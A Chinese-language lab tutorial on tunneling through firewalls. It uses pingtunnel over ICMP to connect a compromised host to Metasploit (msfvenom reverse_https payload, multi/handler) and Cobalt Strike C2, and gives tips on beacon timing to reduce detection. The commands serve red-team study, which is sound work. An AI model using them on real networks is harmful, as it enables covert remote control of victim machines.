一、基础知识
1、概述
一般的网络通信、先在两台机器之间建立 TCP 连接,然后进行正常的数据通信。在知道P 地址的情况下、可以直接发送报文:如果不知道 P 地址,就需要将域名解析成P 地址。在实际的网络中、通常会通过各种边界设备、软/硬件防火墙甚至人侵检测系统来检查对外连接的情况,如果发现异常,就会对通信进行阻断。
什么是隧道?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。常用的隧道列举如下。
- 网络层:IPv6 隧道、ICMP 隧道、GRE 隧道
- 传输层:TCP隧道、UDP 隧道、常规端口转发
- 应用层:SSH 隧道、HTTP 隧道、HTTPS 隧道、DNS 隧道
2、判断内网的连通性
判断内网的连通性是指判断机器能否上外网等。要综合判断各种协议(TCP、HTTP、DNS,ICMP等)及端口通信的情况。常见的允许流量流出的端口有 80、8080、443、53、110、123 等。常用的内网连通性判断方法有:
- ICMP协议:执行命令“ping <IP地址或域名>”
- TCP协议:netcat(简称nc),通过TCP或UDP协议的网络连接读写数据 nc -l 192.168.191.1 80
- HTTP协议: curl www.baidu.com
- dns协议:nslookup
内网穿透常用工具
1.网络层工具
- icmpsh
能通过ICMP协议反弹cmd,功能单一,反弹回来的cmd极不稳定,不推荐使用
- icmptunnel
创建虚拟网卡通过ICMP协议传输网卡流量,基于ICMP隧道的vpn,需要root权限,动静极大,不推荐使用
- pingtunnel
tcp、udp、socks5 over ICMP,速度快,连接稳定,跨平台,client模式不需要管理员权限即可正常使用,推荐使用
2.传输层隧道工具
- netcat
网络工具中的瑞士军刀,不多介绍,linux系统一般自带
- powercat
powershell版的netcat
- socat
具有记录转发流的功能,方便查看转发内容,需要安装
- netsh
windows系统自带的网络配置工具
- lcx
端口转发工具
- NATBypass
一款lcx在golang下的实现,更好的跨平台,更完善的文档
- iox
端口转发 & 内网代理工具,功能类似于lcx/ew,简化了命令行参数,支持UDP流量转发,更好的跨平台。缺点:不支持监听指定IP,默认监听0.0.0.0:port,会增大暴露风险
3.应用层隧道工具
由于应用层协议极多,对应的隧道工具也很多,我们常用来做隧道的协议一般是DNS、HTTP、SSH、SOCKS等
- dnscat2
不仅可以创建DNS隧道,更是C2
- dnscat2-powershell
dnscat2的powershell客户端
- dns2tcp
TCP over DNS,即通过DNS隧道转发TCP连接
- iodine
IPv4 over DNS,即通过DNS隧道转发IPv4数据包
- reGeorg
SOCKS over HTTP,即通过HTTP隧道转发SOCKS
- Neo-reGeorg
重构版reGeorg,提高稳定性和可用性,避免特征检测,更新活跃
- reDuh
TCP over HTTP,即通过HTTP隧道转发TCP连接,隧道不稳定
- Tunna
TCP、SOCKS over HTTP,即通过HTTP隧道转发TCP连接和SOCKS,隧道不稳定
- ABPTTS
TCP over HTTP,即通过HTTP隧道转发TCP连接,数据加密,可自定义HTTP数据,对抗特征检测十分优秀,创建的隧道十分稳定,比较遗憾的是支持的web脚本类型只有aspx和jsp
- EarthWorm
十分方便的多级SOCKS代理,已经永久停止更新
- Termite
EarthWorm的升级版,已经永久停止更新
- Venom
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。
- ssocks
正向和反向的socks工具,可执行文件的大小很小
- s5.go
go语言编写的socks服务工具,良好的跨平台特性
实战背景
通过某种信道获取了内网主机的shell,但是当前信道不适合做远控的通信信道
(比如站库分离的网站,我们通过sql注入获取了数据库服务器的shell,但是数据库服务器只有icmp协议可以出网)
tcp和udp等传输层协议不能出网,dns、http等应用层协议也不能出网,只有icmp协议可以出网。
方案设计
icmp协议可以出网,可以利用icmp协议,构建反向的TCP over ICMP隧道或者SOCKS over ICMP隧道上线远控平台。搭建隧道的工具使用pingtunnel,它能通过icmp隧道转发tcp、udp、socks5连接。
二、工具安装
1.kali 安装pingtunnel
https://github.com/esrrhs/pingtunnel/releases
2.kali安装libpcap
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
3.windows 10(真机) 安装pingtunnel
https://github.com/esrrhs/pingtunnel/releases
二、模拟实战
**实战背景:**通过某种信道获取了内网主机的shell,但是当前信道不适合做远控的通信信道(比如站库分离的网站,我们通过sql注入获取了数据库服务器的shell,但是数据库服务器只有icmp协议可以出网),tcp和udp等传输层协议不能出网,dns、http等应用层协议也不能出网,只有icmp协议可以出网。
方案设计
icmp协议可以出网,可以利用icmp协议,构建反向的TCP over ICMP隧道或者SOCKS over ICMP隧道上线远控平台。搭建隧道的工具使用pingtunnel,它能通过icmp隧道转发tcp、udp、socks5连接。
构建icmp隧道转发tcp,上线metasploit
1.准备好一个具有公网ip的服务器(kali),root权限运行以下命令,启动ICMP隧道,设置type为服务端
./pingtunnel -type server -noprint 1 -nolog 1
2.ICMP隧道客户端(即需要通过ICMP隧道上线的主机,本来是想通过win 7建立隧道,无奈实在无法实现,只得在真机中进行,稍后会利用CS4.0进行在win7中建立隧道),执行以下命令即可成功创建反向ICMP隧道
#pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip(服务端的IP) -t
c2_server_ip:7777(C2服务端的IP) -tcp 1 -noprint 1 -nolog 1
该命令的意思是icmp客户端监听127.0.0.1:9999,通过连接到icmpserver_ip的icmp隧道,
将127.0.0.1:9999收到的tcp数据包转发到c2_server_ip:7777
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.200.14 -t
192.168.200.14:7777 -tcp 1 -noprint 1 -nolog 1
3.生成反向payload的meterpreter,上传到ICMP隧道客户端执行即可上线
msfvenom -p windows/meterpreter/reverse_https lhost=127.0.0.1(目标本地IP)
lport=9999 -f exe -o meterpreter.exe
# 这里的lhost和lport为icmp客户端监听ip和端口
4.启动msf监听,等待meterpreter执行上线
# 这里的lhost和lport为icmp客户端转发到的ip和端口
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 7777
lport => 7777
msf5 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://0.0.0.0:7777
分析:流量走向:pingtunnel服务端----》pingtunnel客户端7777----》pingtunnel服务端7777
通过Cobaltstrike(4.0)上线
1。root权限运行以下命令,启动ICMP隧道(kali
./pingtunnel -type server -noprint 1 -nolog 1
2.ICMP隧道客户端(win 7)
pingtunnel.exe -type client -l :7777 -s 192.168.200.14 -t
192.168.200.47:8899 -tcp 1 -noprint 1 -nolog 1
#监听客户端本地的7777端口,然后通过192.168.200.14来连接到ICMP隧道,
将客户端7777收到的tcp数据包转发到服务端 cs192.168.200.47:8899
服务端搭建
将下载后的 Cobaltstrike 4.0 安装包上传到 VPS 服务器(Ubuntu)上并解压缩,服务端关键的文件是 teamserver,先将其修改位可执行文件,再执行./teamserver可以看到如下说明:
./teamserver 服务端IP地址 连接服务器密码(任意)
启动 CS 服务
【注意】:
1、Teamserver 必须以 root 权限运行
2、若出现权限问题执行命令赋予权限:chmod 777 teamserver
客户端连接
Cobaltstrike 客户端在 Windows、Linux、Mac下都可以运行 (需要 Java 环境)。启动 Cobalt Strike 客户端,输入服务端的IP以及端口、连接密码,用户名可以任意设置
如下界面,已成功连接到 CS 服务端
设置监听的本地的IP地址7777端口
生成后门
在受害主机本地执行,选择第2个payload,于是将生成的payload上传至受害主机win 7
将生成的 Payload 文件 beacon.exe(或者xxxx.exe) 上传后并双击1次运行 Payload即可:
倘若多次点击,就会上线很多,没什么用处,用任务管理器结束掉即可
Cobalt Strike 客户端出现了目标主机上线
【注意】
- 在 Cobalt Strike 中,默认心跳为 60s(即 CS 与受害机默认 60s 才进行一次交互),故执行命令的响应速度很慢,在下载文件时更加明显,所以根据实战环境把时间降低,建议不要太快,否则流量会相对明显。在这里执行命令 sleep 5 可以把交互时间设置为 5 秒。
- 同时在 beacon 中,如果想对目标进行命令管理,需要在前面加上shell关键词,如shell whoami、shell ipconfig等
只针对于本次实验需求设计于此,更多类型玩法请见文章最后的链接!
如有错误,恳请各路佬儿指正,不胜感激!
本次实验记录,只限于个人搭建环境练习,不得用于任何非法用途,否则后果自负!
CS使用参考文章:https://blog.csdn.net/weixin_39190897/article/details/118243520